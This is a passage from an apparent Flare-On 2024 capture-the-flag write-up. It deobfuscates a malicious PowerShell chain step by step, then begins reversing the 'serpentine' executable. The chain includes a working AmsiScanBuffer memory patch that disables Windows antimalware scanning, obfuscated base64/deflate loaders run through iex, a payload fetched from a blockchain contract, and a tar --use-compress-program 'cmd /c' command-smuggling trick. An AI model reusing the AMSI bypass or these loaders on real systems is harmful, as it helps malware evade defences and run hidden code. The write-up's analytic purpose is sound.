[sYstEm.Text.eNCODinG]::unicodE.getStrinG([sYstEm.cONvErt]::FroMbaSE64stRInG("IwBSAGEAcwB0AGEALQBtAG8AdQBzAGUAcwAgAEEAbQBzAGkALQBTAGMAYQBuAC0AQgB1AGYAZgBlAHIAIABwAGEAdABjAGgAIABcAG4ADQAKACQAZgBoAGYAeQBjACAAPQAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABmAGgAZgB5AGMAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAaQB4AGEAagBtAHoALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAAJABmAGgAZgB5AGMADQAKAA0ACgAkAG4AegB3AHQAZwB2AGQAIAA9ACAAWwBmAGgAZgB5AGMAXQA6ADoATABvAGEAZABMAGkAYgByAGEAcgB5ACgAIgAkACgAKAAnAOMAbQBzAO0ALgAnACsAJwBkAGwAbAAnACkALgBOAE8AcgBtAEEAbABpAHoARQAoAFsAYwBIAGEAUgBdACgANwAwACoAMwAxAC8AMwAxACkAKwBbAGMAaABhAHIAXQAoADEAMQAxACkAKwBbAEMAaABhAHIAXQAoAFsAQgB5AHQAZQBdADAAeAA3ADIAKQArAFsAQwBIAGEAUgBdACgAMQAwADkAKwA2ADAALQA2ADAAKQArAFsAQwBoAGEAUgBdACgANQA0ACsAMQA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBoAGEAUgBdACgAWwBiAFkAVABFAF0AMAB4ADUAYwApACsAWwBDAEgAYQByAF0AKABbAGIAWQBUAEUAXQAwAHgANwAwACkAKwBbAEMAaABBAFIAXQAoADEAMgAzACsAMgAtADIAKQArAFsAQwBIAGEAcgBdACgAWwBiAHkAdABlAF0AMAB4ADQAZAApACsAWwBDAGgAQQBSAF0AKABbAGIAWQBUAEUAXQAwAHgANgBlACkAKwBbAGMAaABhAHIAXQAoAFsAYgB5AFQARQBdADAAeAA3AGQAKQApACIAKQANAAoAJABuAGoAeQB3AGcAbwAgAD0AIABbAGYAaABmAHkAYwBdADoAOgBHAGUAdABQAHIAbwBjAEEAZABkAHIAZQBzAHMAKAAkAG4AegB3AHQAZwB2AGQALAAgACIAJAAoACgAJwDBAG0AcwDsAFMAYwAnACsAJwDkAG4AQgB1AGYAZgAnACsAJwBlAHIAJwApAC4ATgBPAHIAbQBBAEwASQB6AEUAKABbAEMASABhAFIAXQAoAFsAYgBZAFQARQBdADAAeAA0ADYAKQArAFsAQwBoAGEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZgApACsAWwBjAEgAQQByAF0AKABbAGIAWQBUAEUAXQAwAHgANwAyACkAKwBbAEMASABhAHIAXQAoADEAMAA5ACkAKwBbAGMASABhAFIAXQAoAFsAQgB5AFQAZQBdADAAeAA0ADQAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBjAGgAQQBSAF0AKAA5ADIAKQArAFsAQwBoAGEAcgBdACgAWwBiAHkAVABFAF0AMAB4ADcAMAApACsAWwBjAGgAYQBSAF0AKABbAGIAWQBUAEUAXQAwAHgANwBiACkAKwBbAGMAaABhAFIAXQAoAFsAQgBZAHQARQBdADAAeAA0AGQAKQArAFsAYwBoAGEAcgBdACgAMgAxACsAOAA5ACkAKwBbAGMAaABhAFIAXQAoADMAMQArADkANAApACkAIgApAA0ACgAkAHAAIAA9ACAAMAANAAoAWwBmAGgAZgB5AGMAXQA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABuAGoAeQB3AGcAbwAsACAAWwB1AGkAbgB0ADMAMgBdADUALAAgADAAeAA0ADAALAAgAFsAcgBlAGYAXQAkAHAAKQANAAoAJABoAGEAbAB5ACAAPQAgACIAMAB4AEIAOAAiAA0ACgAkAGQAZABuAGcAIAA9ACAAIgAwAHgANQA3ACIADQAKACQAeABkAGUAcQAgAD0AIAAiADAAeAAwADAAIgANAAoAJABtAGIAcgBmACAAPQAgACIAMAB4ADAANwAiAA0ACgAkAGUAdwBhAHEAIAA9ACAAIgAwAHgAOAAwACIADQAKACQAZgBxAHoAdAAgAD0AIAAiADAAeABDADMAIgANAAoAJAB5AGYAbgBqAGIAIAA9ACAAWwBCAHkAdABlAFsAXQBdACAAKAAkAGgAYQBsAHkALAAkAGQAZABuAGcALAAkAHgAZABlAHEALAAkAG0AYgByAGYALAArACQAZQB3AGEAcQAsACsAJABmAHEAegB0ACkADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHkAZgBuAGoAYgAsACAAMAAsACAAJABuAGoAeQB3AGcAbwAsACAANgApAA=="))|iex

Decoding the internal Base64 once again we get another PowerShell script:

#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $fhfyc

$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8"
$ddng = "0x57"
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)

If you deobfuscate this code, you will realize… there’s no code related to the flag! It turns out that this challenge was unsolvable during the beginning of the event, because the author simply didn’t include the logic for the rest of the challenge.

After reporting, they pushed a new transaction in block 44335452. So let’s take a look at the payload inside that block:

invOKe-eXpREsSIon (NeW-OBJeCt SystEm.Io.StReaMREAdeR((NeW-OBJeCt Io.COMPRESsIOn.deflATestream( [sYSTeM.Io.memORyStREaM] [cONvErt]::fROmbAsE64StriNg('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' ) , [iO.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXt.EnCodINg]::asCII)).ReaDTOEND()

Essentially, the internal constant string is decoded using Base64, and then decompressed using deflate. Using CyberChef, we can decode the content.

image.png

Good, another layer of obfuscation. For this one, notice that the script ended with

( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')

which deobfuscate to iex. So we just get rid of this last part, and it should be the script.

. ( $EnV:coMspec[4,26,25]-jOIn'')("$(set-iTem 'VAriABle:OfS'  '' )" + ( [STrinG][REGEx]::MATCHeS(")''NIoJ-]2,11,3[EmAN.)'*rdm*' ElBAIrav((.|)421]RAHc[]GnIRTS[,'sOI'(EcALPER.)43]RAHc[]GnIRTS[,)37]RAHc[+221]R
AHc[+55]RAHc[((EcALPER.)'\',)09]RAHc[+601]RAHc[+78]RAHc[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)'
dnammocK6f noisserpxE-ekovnI
)Iz7galfZjWZjW:C f- 1aPga'+'lfZjWZjW:C > gnirtStl'+'userK6'+'f ohce c/ dmc1aP ma'+'rgorp-sserpmoc-esu-- x- ratIz'+'7( eulaV-'+' dnammoc ema'+'N- elbairaV-teS

))setyBtluserK6f(gnirtSteG'+'.IICSA'+'::]gnidocnE.txeT.metsyS[( eulaV- gnirtStluser emaN- elbairaV-teS
)gnidocne IICSA gnimussa( gnirts a ot kc'+'ab tl'+'u'+'ser eht trevnoC #
}
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb- ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- setyBtluser emaN- elbairaV'+'-teS    
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof
))(@( eulaV- setyBtluser emaN- '+'elbairaV-teS
noitarepo ROX eht mrofreP #
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-te'+'S
setyb ot yek eht trevnoC #
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT[( eulaV- 5setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBoT::]trevnoC[    
)1 + xednItratsK6f( eulaV- xednIdne emaN- elbair'+'aV-teS    
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS    
{ tcejbO-hcaEroF sOI )1 - 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- elbairaV-t'+'eS
)sretcarahc xeh fo sriap gnirusne( setyb ot xeh '+'morf trevnoC #
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f('+' eula'+'V- setyBxeh emaN- elbairaV-teS
gnirtSx'+'ehK6f tu'+'ptuO-etirW#
 )1aP 1aP '+'nioj- setyBxehK6f( eulaV- gnirtSxeh'+' emaN- elbaira'+'V-teS
)}
srettel esacr'+'eppu htiw xeh tigid-owt sa etyb hcae tamroF #  _K6f f- 1aP}2X:0{1aP    
{ tcejbO-hcaEroF sOI iicsAtl'+'userK6f( eu'+'laV- setyBxeh emaN- elbairaV-teS
))46esaBmorFs'+'etybK6f(gnirtSte'+'G.8FTU::]gni'+'docnE.txe'+'T.metsyS[( '+'eulaV- '+'iicsAtluser emaN-'+' elbairaV-teS
))2setybK6f(gni'+'rtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb emaN- elbairaV-teS
setyb ot 46esab morf trevnoC #

))881 ,46(gnirtsbuS.1setybK6f( eulaV- 2setyb emaN- e'+'lbairaV-teS
))0setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1setyb emaN- elbairaV-teS
 )}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.rebmuNxehK6f(etyBoT::]trevnoC[  '+'  
)1 + xedn'+'ItratsK6f( eulaV- xednIdne '+'emaN- elbairaV-teS    
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS    
{ '+'t'+'cejbO-hcaEroF'+' sOI )1 - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS
)sretcarahc xeh fo sriap gnirusne('+' setyb ot xeh morf trevnoC #
)1aP1aP ,1aPx01aP ecalper- pserK6f( eulaV- rebmuNxeh emaN- elbairaV-teS
xiferp 1aPx01aP eht evomeR '+'#

)tluser.)ydob_K6f ydoB- Iz7nosj/noitacilppaIz7 epyTtnetno'+'C- tniopdne_tentsetK6f irU- 1aPtsoP1aP d'+'ohteM- do'+'hteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS
)1aP}Iz70.2Iz7:Iz7cprnosjIz'+'7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,'+'Iz7sserddaK6fIz7:Iz7otIz7'+'{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7dohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS
)Iz7 Iz7( eulaV-'+' tni'+'opdne_tentset emaN- elbairaV-teS'( ",'.' ,'riGHTToLeft') |%{$_ } )+" $(set-ITEM  'vArIAbLE:oFS' ' ' )") 

Oh my gahh, still more obfuscation. The beginning $EnV:coMspec[4,26,25]-jOIn'' evaluates to iex again, so let’s remove that part and run the script.

 ('Set-Variable -Name testnet_endpo'+'int '+'-Value (7zI 7zI)
Set-Variable -Name _body -Value (Pa1{7zImethod7zI:7zIeth_call7zI,7zIparams7zI:[{'+'7zIto7zI:7zIf6Kaddress7zI'+',7zIdata7zI:7zI0x5c880fcb7zI}, BLOCK],7zIid7zI:1,7'+'zIjsonrpc7zI:7zI2.07zI}Pa1)
Set-Variable -Name resp -Value ((Invoke-RestMeth'+'od -Metho'+'d Pa1PostPa1 -Uri f6Ktestnet_endpoint -C'+'ontentType 7zIapplication/json7zI -Body f6K_body).result)

#'+' Remove the Pa10xPa1 prefix
Set-Variable -Name hexNumber -Value (f6Kresp -replace Pa10xPa1, Pa1Pa1)
# Convert from hex to bytes '+'(ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..(f6KhexNumber.Length / 2 - 1) IOs '+'ForEach-Objec'+'t'+' {
    Set-Variable -Name startIndex -Value (f6K_ * 2)
    Set-Variable -Name'+' endIndex -Value (f6KstartI'+'ndex + 1)
  '+'  [Convert]::ToByte(f6KhexNumber.Substring(f6KstartIndex, 2), 16)
}) 
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString(f6Kbytes0))
Set-Variabl'+'e -Name bytes2 -Value (f6Kbytes1.Substring(64, 188))

# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64Str'+'ing(f6Kbytes2))
Set-Variable '+'-Name resultAscii'+' -Value'+' ([System.T'+'ext.Encod'+'ing]::UTF8.G'+'etString(f6Kbyte'+'sFromBase64))
Set-Variable -Name hexBytes -Val'+'ue (f6Kresu'+'ltAscii IOs ForEach-Object {
    Pa1{0:X2}Pa1 -f f6K_  # Format each byte as two-digit hex with uppe'+'rcase letters
})
Set-V'+'ariable -Name '+'hexString -Value (f6KhexBytes -join'+' Pa1 Pa1) 
#Write-Outp'+'ut f6Khe'+'xString
Set-Variable -Name hexBytes -V'+'alue '+'(f6KhexBytes -replace 7zI 7zI, 7zI7zI)
# Convert from'+' hex to bytes (ensuring pairs of hex characters)
Se'+'t-Variable -Name bytes3 -Value (0..(f6KhexBytes.Length / 2 - 1) IOs ForEach-Object {
    Set-Variable -Name startIndex -Value (f6K_ * 2)
    Set-Va'+'riable -Name endIndex -Value (f6KstartIndex + 1)
    [Convert]::ToByte(f6KhexBytes.Substring(f6KstartIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString(f6Kbytes3))
# Convert the key to bytes
S'+'et-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes(7zIFLAREON247zI))
# Perform the XOR operation
Set-Variable'+' -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); f6Ki -lt f6Kbytes5.Length; f6Ki++) {
    Set-'+'Variable -Name resultBytes -Value (f6KresultBytes + (f6Kbytes5[f6Ki] -bxor f6KkeyBytes[f6Ki % f6KkeyBytes.Length])) 
}
# Convert the res'+'u'+'lt ba'+'ck to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::'+'ASCII.'+'GetString(f6KresultBytes))

Set-Variable -N'+'ame command '+'-Value (7'+'zItar -x --use-compress-progr'+'am Pa1cmd /c echo f'+'6Kresu'+'ltString > C:WjZWjZfl'+'agPa1 -f C:WjZWjZflag7zI)
Invoke-Expression f6Kcommand
').REPLAcE(([cHAR]102+[cHAR]54+[cHAR]75),[STRInG][cHAR]36).REPLAcE(([cHAR]80+[cHAR]97+[cHAR]49),[STRInG][cHAR]39).REPLAcE(([cHAR]87+[cHAR]106+[cHAR]90),'\').REPLAcE(([cHAR]55+[cHAR]122+[cHAR]73),[STRInG][cHAR]34).REPLAcE('IOs',[STRInG][cHAR]124)|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'') 

Ok finally we are seeing some readable code. The ending ((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'') evaluates to iex again, so let’s remove that pipe and run the front part.

Set-Variable -Name testnet_endpoint -Value (" ")
Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)

# Remove the '0x' prefix
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
    Set-Variable -Name startIndex -Value ($_ * 2)
    Set-Variable -Name endIndex -Value ($startIndex + 1)
    [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))

# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {
    '{0:X2}' -f $_  # Format each byte as two-digit hex with uppercase letters
})
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
#Write-Output $hexString
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert from hex to bytes (ensuring pairs of hex characters)
Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
    Set-Variable -Name startIndex -Value ($_ * 2)
    Set-Variable -Name endIndex -Value ($startIndex + 1)
    [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
})
Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))
# Convert the key to bytes
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform the XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
    Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}
# Convert the result back to a string (assuming ASCII encoding)
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))

Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
Invoke-Expression $command

Finally, the actual code!

third call

It’s nice that this script even keeps the comment. Essentially the flow is:

  • We call a specific contract $address at the given BLOCK, with data 0x5c880fcb.
  • The result payload is decoded as Hex, and taken from 64 to 188 bytes.
  • That substring is decoded as Base64.
  • Then decode as Hex.
  • Then converted to a UTF-8 string.
  • The result is XOR’d with FLAREON24.
  • The result is saved to C:\flag.

From the previous analysis, we know 0x5c880fcb is the method to get the stored data from the contract. So the $address$ should be the same as above.

The BLOCK number is not given. So we have to take a look at all transactions. I set up a CyberChef script to quickly decode the payload

image.png

And let’s try decrypting each block using this recipe:

  • 43145703: Not ASCII characters
  • 43148912: N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
  • 43149119: I wish this was the flag
  • 43149124: Yet more noise!!
  • 43149133: Good thing this is on the testnet

And the remaining transactions does not fit in the decryption process. Well, at least we got our flag.

9 - serpentine

We are given a single .exe PE executable in AMD64 arch. Let’s open it up in Ghidra and go to the main function:

image.png

The main function is rather simple:

  • A exception handler is set up in the beginning
  • The program expects one argument, which is the input key.
  • The key is expected to have length 0x20.
  • The key is copied to 89b8e8 (function 4c60 is strcpy).
  • The function pointer stored at 89b8e0 is called.

But if we go to 89b8e0, we see it is not filled in yet. Taking a look at the cross-references to this address, we see this logic inside tls_callback_0 which is basically an init function of the program.

image.png

This function allocates a 0x800000 size memory with VirtualAlloc and then stores the pointer into 89b8e0. Function 157d0 is a memcpy/memmove, so 0x800000 data from 97af0 is copied into the newly allocated space. Now let’s take a look at what’s in 97af0:

image.png

Immediately we see a HLT instruction. When this instruction is executed, the EXCEPTION_PRIV_INSTRUCTION (code C0000096) exception is thrown, since HLT is a privileged instruction. Executing the actual binary confirms this as well.

exception handler

Naturally, this means that there’s an exception handler somewhere that does some magic to restore the correct program flow. If you remember, the start of the main function has a SetUnhandledExceptionFilter. Unfortunately, that one is not the one we are looking for.

Normally we need to look into the initializers of the program. Other than the tls_callback that we have above, there is another mechanism _initterm which executes a table of functions at the beginning of execution. For this program, the table is located over here

image.png

The function 187c is a built-in pre_cpp_initialization. Then I quickly went through the remaining functions:

  • Inside 1030, it calls 1430 which looks like this

    image.png

  • Using cross-reference, we know that 8a32f8 is setup inside function 1270, which is called by function 1000 in the above table.

We could do some reversing on 1270 to find out what address is actually stored into 8a32f8, but being a lazy person, I’d just instead resort to dynamic debugging. Setting up x64dbg, breaking at the CALL instruction and we get

image.png

Which means the function called is RtlInstallFunctionTableCallback. Looking into the documentation, we know it takes 6 arguments

NTSYSAPI BOOLEAN RtlInstallFunctionTableCallback(
  [in] DWORD64                        TableIdentifier,
  [in] DWORD64                        BaseAddress,
  [in] DWORD                          Length,
  [in] PGET_RUNTIME_FUNCTION_CALLBACK Callback,
  [in] PVOID                          Context,
  [in] PCWSTR                         OutOfProcessCallbackDll
);

so we can adjust the right-hand side window of x64dbg to display all the argument values:

image.png

This function sets up a dynamic function table, which are “used on 64-bit Windows to determine how to unwind or walk the stack.” When an exception is thrown, the stack unwinding is done, and this API can register a callback function to be called while unwinding. Notice the BaseAddress here contains the same address as the 0x800000 block of memory allocated above, so we can be fairly sure that this is related to the exception handling of HLT.

Let’s take a look at this callback function 10b0:

image.png

Now, since we know this callback function has the type PGET_RUNTIME_FUNCTION_CALLBACK from the documentation, we can restore it:

image.png

Here the ControlPC is the address where the exception is thrown.

From the code, we know that ControlPc+1 contains an offset to where the UnwindData starts, relative to EndAddress. The EndAddress is just BeginAddress+1. And BeginAddress is the relative offset of the PC to the start of the image (the 0x800000 region we talked before, stored in 89b8e0). Note that if the UnwindData is not aligned to uint16_t, there will be an extra padding in its front.

The UnwindData has type UNWIND_INFO as documented in https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64. The structure is a bit complicated to represent in Ghidra because it has variable size, so I wanted to parse it in Python. Luckily I found a library here https://github.com/erocarrera/pefile that already does it.

Here’s a parsing script for what we have so far:

import pefile

pe = pefile.PE('serpentine.exe')
img = pe.get_memory_mapped_image()

def parse_unwind_info(addr):
  assert img[addr] == 0xf4 # HLT
  offset = addr + 2 + img[addr + 1]
  offset += (offset & 1) != 0
  ui = pefile.UnwindInfo()
  assert ui.unpack_in_stages(img[offset:offset+ui.sizeof()]) is None
  # call twice as the first time is to only get size
  assert ui.unpack_in_stages(img[offset:offset+ui.sizeof()]) is None
  return ui

